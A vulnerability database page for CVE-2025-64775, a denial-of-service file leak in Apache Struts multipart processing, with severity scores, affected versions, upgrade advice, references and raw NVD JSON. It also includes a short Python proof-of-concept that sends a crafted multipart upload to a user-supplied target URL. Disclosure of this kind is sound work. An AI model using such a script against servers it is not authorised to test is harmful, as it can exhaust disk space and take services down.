CVE-2025-64775

Description

Denial of Service vulnerability in Apache Struts, file leak in multipart request processing causes disk exhaustion. This issue affects Apache Struts: from 2.0.0 through 6.7.0, from 7.0.0 through 7.0.3. Users are recommended to upgrade to version 6.8.0 or 7.1.1, which fixes the issue.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:* - VULNERABLE

Apache Struts 2.0.0 - 6.7.0

Apache Struts 7.0.0 - 7.0.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# CVE-2025-64775 PoC - Apache Struts File Leak DoS
# This PoC demonstrates sending malformed multipart requests

import requests
import sys

def exploit(target_url):
    """
    Send malicious multipart requests to trigger file leak
    """
    headers = {
        'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-64775-PoC)',
        'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundary'
    }
    
    # Craft malformed multipart data
    data = """------WebKitFormBoundary

Content-Disposition: form-data; name="file"; filename="large_file.txt"

Content-Type: text/plain



""" + "A" * 100000 + "\r\n------WebKitFormBoundary--\r\n"
    
    print(f"[*] Sending malicious multipart request to {target_url}")
    
    try:
        response = requests.post(
            target_url,
            headers=headers,
            data=data,
            timeout=30
        )
        print(f"[+] Response status: {response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_url>")
        sys.exit(1)
    exploit(sys.argv[1])

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64775
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64775
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64775/
[4] VulDB https://vuldb.com/cve/CVE-2025-64775
[5] https://cwiki.apache.org/confluence/display/WW/S2-068
[6] http://www.openwall.com/lists/oss-security/2025/12/01/2

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64775", "sourceIdentifier": "[email protected]", "published": "2025-12-01T16:15:56.873", "lastModified": "2026-01-26T11:30:04.700", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Denial of Service vulnerability in Apache Struts, file leak in multipart request processing causes disk exhaustion.\n\nThis issue affects Apache Struts: from 2.0.0 through 6.7.0, from 7.0.0 through 7.0.3.\n\nUsers are recommended to upgrade to version 6.8.0 or 7.1.1, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-459"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "6.8.0", "matchCriteriaId": "48D11388-EEE4-40F9-939E-E22BF85AFC3D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.1.1", "matchCriteriaId": "F5D73897-58B2-4229-A621-B651E4797241"}]}]}], "references": [{"url": "https://cwiki.apache.org/confluence/display/WW/S2-068", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/12/01/2", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}